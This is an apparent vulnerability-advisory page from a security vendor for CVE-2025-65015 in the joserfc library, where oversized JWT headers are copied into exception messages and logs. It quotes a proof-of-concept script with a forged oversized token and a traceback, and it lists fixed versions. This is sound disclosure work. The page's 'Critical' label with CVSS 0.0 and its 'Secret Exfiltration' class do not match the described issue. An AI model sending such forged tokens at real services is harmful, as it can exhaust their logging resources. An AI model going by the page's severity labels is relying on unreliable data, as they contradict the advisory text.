HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 65015 joserfc has possible uncontrolled resource
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical · CVSS 0.0CVE-2025-65015GHSA-FRFH-8V73-GJG4

joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token PayloadsCVE-2025-65015

Answer in brief

CVE-2025-65015 records a Critical severity (CVSS 0.0) vulnerability in joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads. The current sources do not mark it as known exploited. The current feed maps joserfc (pip), joserfc (pip), joserfc (pypi), joserfc (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Nov 18, 2025Updated Oct 27, 2026Source checked Oct 27, 2026First seen by HOL Oct 27, 2026Material review Oct 27, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 0.0
Exploitation
Not marked as known exploited
Affected software
4 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 0.0. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps joserfc (pip), joserfc (pip), joserfc (pypi), joserfc (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
joserfcpip>=1.3.3,<1.3.51.3.5
joserfcpip>=1.4.0,<1.4.21.4.2
joserfcpypi>=1.3.3 <1.3.51.3.5
joserfcpypi>=1.4.0 <1.4.21.4.2

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for joserfc, joserfc, joserfc.
  2. 2Review the reported fix. Update joserfc to 1.3.5; joserfc to 1.4.2; joserfc to 1.3.5; joserfc to 1.4.2 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Nov 18, 2025

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 27, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

### Summary The `ExceededSizeError` exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. ### Details In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the `joserfc.jwt.decode()` operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises `joserfc.errors.ExceededSizeError()` with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se. It is therefore the responsibility of the underlying web server (`uvicorn`/`h11`, `gunicorn`, `Starlette`, `Werkzeug`, `nginx`...etc) to enforce limits on header sizes. For example, a `FastAPI`/`Starlette` application running _without_ `uvicorn` and/or `gunicorn` cannot enforce header size limits on its own. With `uvicorn`/`h11`, the [--h11-max-incomplete-event-size <int>](https://uvicorn.dev/settings/#implementation:~:text=%2D%2Dh11%2Dmax%2Dincomplete%2Devent%2Dsize%20%3Cint%3E) option can restrict the total size of the header _plus_ body, but not the header alone. Similarly, [vLLM serve](https://docs.vllm.ai/en/latest/cli/serve/#-h11-max-incomplete-event-size) —due to its reliance on `uvicorn`/`h11` and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header _plus_ body and is frequently increased. In practice, a robust reverse proxy (such as `nginx`) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy. Given these constraints, the `joserfc` library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing. ### PoC **Environment** Ubuntu 24.04 LTS Python 3.12 Tested on `joserfc` version `1.4.1` ```python import logging from datetime import UTC, datetime, timedelta from joserfc import jwt from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError from joserfc.jwk import OctKey logger = logging.getLogger(__name__) SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e" LONG_JWT_TOKEN = ( "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ" "." "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ" "." "6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8" ) HEADER = { "alg": ( "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" ), } CLAIMS = { "iss": "auth_server", "iat": datetime.now(UTC), "exp": datetime.now(UTC) + timedelta(minutes=15), } def main(): # Create OctKey from SECRET_KEY key = OctKey.import_key(SECRET_KEY) # Simulate creating a very large JWT # (this will fail with joserfc.errors.UnsupportedAlgorithmError # due to an invalid 'alg' header content try: token = jwt.encode(HEADER, CLAIMS, key) except UnsupportedAlgorithmError: # Use a forged token that has the same header and claims instead # but an invalid signature token = LONG_JWT_TOKEN logger.warning(f"Created JWT: {token}") # Now try to decode the large JWT try: decoded_token = jwt.decode(token, key) logger.warning("This line will never be reached.") logger.warning(decoded_token.claims) except ExceededSizeError: logger.exception( "The JWT size is too large and may be a security attack attempt." ) # this is logging the whole header content in the exception message! ``` ``` Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8 The JWT size is too large and may be a security attack attempt. Traceback (most recent call last): File "security_issue.py", line 55, in main claims = jwt.decode(token, key) ^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode header, payload = _decode_jws(_value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 127, in _decode_jws jws_obj = deserialize_compact(value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jws.py", line 183, in deserialize_compact obj = extract_compact(to_bytes(value), payload, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/_rfc7797/compact.py", line 50, in extract_rfc7515_compact registry.validate_header_size(header_segment) File ".venv/lib/python3.12/site-packages/joserfc/_rfc7515/registry.py", line 104, in validate_header_size raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.") joserfc.errors.ExceededSizeError: exceeded_size: Header size of 'b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ'' exceeds 512 bytes. ``` ## Code location This behavior occurs in: **`joserfc/_rfc7515/registry.py`** **L102-112** ```python def validate_header_size(self, header: bytes) -> None: if header and len(header) > self.max_header_length: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.") def validate_payload_size(self, payload: bytes) -> None: if payload and len(payload) > self.max_payload_length: raise ExceededSizeError(f"Payload size of '{payload!r}' exceeds {self.max_payload_length} bytes.") def validate_signature_size(self, signature: bytes) -> None: if len(signature) > self.max_signature_length: raise ExceededSizeError(f"Signature of '{signature!r}' exceeds {self.max_signature_length} bytes.") ``` **`joserfc/_rfc7516/registry.py`** **L103-123** ```python def validate_protected_header_size(self, header: bytes) -> None: if header and len(header) > self.max_protected_header_length: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_protected_header_length} bytes.") def validate_encrypted_key_size(self, ek: bytes) -> None: if ek and len(ek) > self.max_encrypted_key_length: raise ExceededSizeError(f"Encrypted key size of '{ek!r}' exceeds {self.max_encrypted_key_length} bytes.") def validate_initialization_vector_size(self, iv: bytes) -> None: if iv and len(iv) > self.max_initialization_vector_length: raise ExceededSizeError( f"Initialization vector size of '{iv!r}' exceeds {self.max_initialization_vector_length} bytes." ) def validate_ciphertext_size(self, ciphertext: bytes) -> None: if ciphertext and len(ciphertext) > self.max_ciphertext_length: raise ExceededSizeError(f"Ciphertext size of '{ciphertext!r}' exceeds {self.max_ciphertext_length} bytes.") def validate_auth_tag_size(self, tag: bytes) -> None: if tag and len(tag) > self.max_auth_tag_length: raise ExceededSizeError(f"Auth tag size of '{tag!r}' exceeds {self.max_auth_tag_length} bytes.") ``` Another occurrence of `ExceededSizeError` in **`joserfc/_rfc7518/jwe_zips.py`** is not affected by this issue as it does not include the payload content in the exception message. ### Impact In scenarios where a web application does not reject excessively large HTTP header payloads, using `joserfc` can expose the system to an **Allocation of Resources Without Limits or Throttling** (CWE-770), potentially impacting disk, memory, and CPU on the application host, as well as any external log storage, ingestion pipelines or alerting services. This risk can be mitigated by removing the JWT payload from the logged content in some `joserfc.errors.ExceededSizeError()` exception message occurrences. It would also be beneficial for the documentation to advise deploying the library behind a robust web server or reverse proxy that correctly enforces maximum request header sizes.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Tanium addressed an uncontrolled resource consumption vulnerability in Performance Client Extension.Also CWE-770
  • Tanium addressed a denial of service vulnerability in Enforce.Also CWE-770
  • Tanium addressed an uncontrolled resource consumption vulnerability in Enforce.Also CWE-770

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
CWE-770
Source
GitHub Security Advisories
Source checked
Oct 27, 2026
References
10 linked sources
Open source record